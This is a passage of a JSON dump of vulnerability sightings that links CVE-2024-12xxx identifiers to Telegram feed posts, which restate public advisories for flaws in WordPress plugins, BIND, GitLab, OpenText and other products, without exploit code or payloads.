"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "Telegram/STqw1iYsrWaxr6W866Ac340yhyjb2Ew_akZz-wOxIOVCUYuK", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "5fe62363-83c7-42a9-a8ca-e92dd338af3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12076", "type": "seen", "source": "https://t.me/cvedetector/16378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12076 - \"Target Video Easy Publish WordPress CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12076 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Target Video Easy Publish plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.3. This is due to missing or incorrect nonce validation on the resync_carousel(), seek_snapshot(), uploaded_cc(), and remove_cc() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:58.000000Z"}, {"uuid": "4664314a-ad1e-4cab-910b-4069b31fa3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://t.me/cvedetector/16376", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12817 - Etsy Importer for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12817 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Etsy Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'product_link' shortcode in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:54.000000Z"}, {"uuid": "b852a312-a57f-4120-bd31-3f6aad0d5f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/8dC8Y0y7AH5u-csD6nQkRRHlFFCMp4oeZ-Wa7x9heCpVdFqz", "content": "", "creation_timestamp": "2025-02-15T23:50:17.000000Z"}, {"uuid": "0f93a715-1e7c-408b-82b8-e28c93d770be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/CyberBulletin/1733", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:43.000000Z"}, {"uuid": "5295a1ec-4c1f-4b98-b4a4-c5c2653dd3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/CyberBulletin/1733", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:43.000000Z"}, {"uuid": "40000e2b-e067-4420-9e7f-dd2bfbe89718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/CyberBulletin/1711", "content": "\u26a1\ufe0fCVE-2024-12209 (CVSS 9.8): WP Umbrella Plugin Vulnerability Exposes 30,000 Websites to Compromise.\n\n#CyberBulletin", "creation_timestamp": "2024-12-08T11:24:47.000000Z"}, {"uuid": "92100dd3-bd5f-44e2-addd-9c9fd9d0a7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://t.me/cvedetector/16788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12861 - Shopify WooCommerce Migrate Plugin Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12861 \nPublished : Jan. 30, 2025, 2:15 p.m. | 46\u00a0minutes ago \nDescription : The W2S \u2013 Migrate WooCommerce to Shopify plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.2.1 via the 'viw2s_view_log' AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T16:46:42.000000Z"}, {"uuid": "9ae51c55-042f-49cf-8e01-a095fe60a993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://t.me/cvedetector/16787", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12822 - \"UserPro WordPress Media Manager Capability Check Bypass Exploit\"\", \n  \"Content\": \"CVE ID : CVE-2024-12822 \nPublished : Jan. 30, 2025, 2:15 p.m. | 46\u00a0minutes ago \nDescription : The Media Manager for UserPro plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the add_capto_img() function in all versions up to, and including, 3.11.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T16:46:41.000000Z"}, {"uuid": "8c263384-dc1e-4cd3-8fb9-5d73497b978a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://t.me/cvedetector/16769", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12409 - Simple:Press Forum WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12409 \nPublished : Jan. 30, 2025, 11:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The Simple:Press Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 6.10.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T14:16:09.000000Z"}, {"uuid": "39324ed5-f47b-45cb-b2db-df2ca7c5557f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://t.me/cvedetector/16768", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12524 - Clinked Client Portal for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12524 \nPublished : Jan. 30, 2025, 11:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The Clinked Client Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'clinked-login-button' shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T14:16:08.000000Z"}, {"uuid": "cd66b9d7-82c6-42c4-9c27-a818c29a7556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "Telegram/buh-ut9DiubPByy1siFNTwRZbQngXllC1XVuRrrneGPkxJk", "content": "", "creation_timestamp": "2025-06-11T11:03:35.000000Z"}, {"uuid": "e957c5ba-25da-46f4-9ab7-78a0a0be9382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1243", "type": "seen", "source": "Telegram/buh-ut9DiubPByy1siFNTwRZbQngXllC1XVuRrrneGPkxJk", "content": "", "creation_timestamp": "2025-06-11T11:03:35.000000Z"}, {"uuid": "abcdbe63-3a3a-4cc9-8481-265bc163f68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://t.me/cvedetector/16372", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12885 - WordPress Connections Business Directory Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12885 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Connections Business Directory plugin for WordPress is vulnerable to arbitrary directory deletion due to insufficient file path validation when deleting a connections image directory in all versions up to, and including, 10.4.66. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary folders on the server and all their content. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:47.000000Z"}, {"uuid": "e5b249ba-f82b-491f-a9c8-64f6bab72e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/cvedetector/16739", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12921 - EthereumICO WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12921 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The EthereumICO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ethereum-ico shortcode in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:42.000000Z"}, {"uuid": "cdf2ce1f-f0e5-4e43-87e1-058e7eb76f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://t.me/cvedetector/16738", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12708 - WordPress Bulk Me Now Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12708 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:38.000000Z"}, {"uuid": "8fc37984-b440-4c07-a5e0-16ba51c59a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://t.me/cvedetector/16737", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12638 - WordPress Bulk Me Now! Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12638 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:38.000000Z"}, {"uuid": "9aff0ef1-0ec5-4d10-8a4a-bc386f59c955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/cvedetector/16736", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12400 - Tourmaster WordPress Reflected Cross-Site Scripting Voorbelasting\", \n  \"Content\": \"CVE ID : CVE-2024-12400 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The tourmaster WordPress plugin before 5.3.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:37.000000Z"}, {"uuid": "4b136db8-8edb-4a12-87c8-068d92fcf3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/cvedetector/16735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12709 - WordPress Bulk Me Now CSRF Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-12709 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:36.000000Z"}, {"uuid": "3926e182-71c4-4122-9831-5cd1bdcc7be0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/cvedetector/16734", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12163 - Apache GoodLayers Core SVG Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12163 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The goodlayers-core WordPress plugin before 2.1.3 allows users with a subscriber role and above to upload SVGs containing malicious payloads. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:36.000000Z"}, {"uuid": "fc1eb63a-dcfd-41f1-ab22-dbc65d3ee20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/cvedetector/16727", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12705 - Bind DNS Server HTTP Flood CPU Exhaustion\", \n  \"Content\": \"CVE ID : CVE-2024-12705 \nPublished : Jan. 29, 2025, 10:15 p.m. | 2\u00a0hours, 11\u00a0minutes ago \nDescription : Clients using DNS-over-HTTPS (DoH) can exhaust a DNS resolver's CPU and/or memory by flooding it with crafted valid or invalid HTTP/2 traffic.  \nThis issue affects BIND 9 versions 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, and 9.18.11-S1 through 9.18.32-S1. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T01:43:39.000000Z"}, {"uuid": "4d8a3494-ed3f-4dda-b480-43ac1bbc7a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/cvedetector/16673", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12749 - WordPress Competition Form XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12749 \nPublished : Jan. 29, 2025, 6:15 a.m. | 1\u00a0hour, 41\u00a0minutes ago \nDescription : The Competition Form WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T09:50:15.000000Z"}, {"uuid": "b02eea13-cdfe-40fa-a15c-af5cbd2760b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12442", "type": "seen", "source": "https://t.me/cvedetector/24952", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12442 - EnerSys AMPA Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12442 \nPublished : May 9, 2025, 2:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : EnerSys AMPA versions 24.04 through 24.16, inclusive, are vulnerable to command injection leading to privileged remote shell access. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T18:43:06.000000Z"}, {"uuid": "ff2afaf2-1a86-42c3-a8b8-313955bc489e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://t.me/cvedetector/24848", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12378 - Arista EOS Unencrypted VxLAN Tunnel Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12378 \nPublished : May 8, 2025, 7:15 p.m. | 17\u00a0minutes ago \nDescription : On affected platforms running Arista EOS with secure Vxlan configured, restarting the Tunnelsec agent will result in packets being sent over the secure Vxlan tunnels in the clear. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T21:48:15.000000Z"}, {"uuid": "a700a44d-cd12-4d29-9bd6-01f679a5dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://t.me/cvedetector/23940", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12706 - OpenText Digital Asset Management SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12706 \nPublished : April 28, 2025, 6:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in OpenText\u2122 Digital Asset Management. T  \n  \nhe vulnerability could allow an authenticated user to run arbitrary SQL commands on the underlying database.   \n  \nThis issue affects Digital Asset Management.: through 24.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-28T22:25:59.000000Z"}, {"uuid": "5c9fa936-9aff-4385-904e-d9f660b7177c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12244", "type": "seen", "source": "https://t.me/cvedetector/23643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12244 - GitLab EE Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12244 \nPublished : April 24, 2025, 8:15 a.m. | 16\u00a0minutes ago \nDescription : An issue has been discovered in access controls could allow users to view certain restricted project information even when related features are disabled in GitLab EE, affecting all versions from 17.7 prior to 17.9.7, 17.10 prior to 17.10.5, and 17.11 prior to 17.11.1. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-24T11:23:12.000000Z"}, {"uuid": "2de74fc7-7b6b-45dd-8b9b-73616ec2564c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://t.me/cvedetector/23457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12543 - OpenText Content Management Barcode Attribute Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12543 \nPublished : April 21, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T19:49:43.000000Z"}, {"uuid": "b9498c0a-f77b-48bb-a87b-8756f76d0c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12863", "type": "seen", "source": "https://t.me/cvedetector/23443", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12863 - OpenText Content Management CE Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12863 \nPublished : April 21, 2025, 3:15 p.m. | 26\u00a0minutes ago \nDescription : Stored XSS in Discussions in OpenText Content Management CE 20.2 to 25.1 on Windows and Linux allows authenticated malicious users to inject code into the system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T18:09:19.000000Z"}, {"uuid": "0c3c38c9-f0d8-4351-bcc2-88f616021cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://t.me/cvedetector/16451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12345 - INW Krbyyyzo File Uploader DoS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12345 \nPublished : Jan. 27, 2025, 11:15 a.m. | 1\u00a0hour, 14\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in INW Krbyyyzo 25.2002. Affected by this vulnerability is an unknown functionality of the file /gbo.aspx of the component Daily Huddle Site. The manipulation of the argument s leads to resource consumption. It is possible to launch the attack on the local host. Other endpoints might be affected as well. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T14:19:26.000000Z"}, {"uuid": "15b56c01-5c48-4065-8594-10342f62d416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12862", "type": "seen", "source": "https://t.me/cvedetector/23445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12862 - OpenText Content Server Unauthorized Deletion\", \n  \"Content\": \"CVE ID : CVE-2024-12862 \nPublished : April 21, 2025, 3:15 p.m. | 26\u00a0minutes ago \nDescription : Incorrect Authorization vulnerability in the OpenText Content Server REST API on Windows, Linux allows users without the appropriate permissions to remove external collaborators.This issue affects Content Server: 20.2-24.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T18:09:21.000000Z"}, {"uuid": "f7659716-66d1-4b33-a2d5-add2f9b70ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ton618cyber/6716", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "62c780de-664c-4f34-9d78-b174d34e3bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://t.me/cvedetector/23984", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12273 - CalculatedRoute Form WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12273 \nPublished : 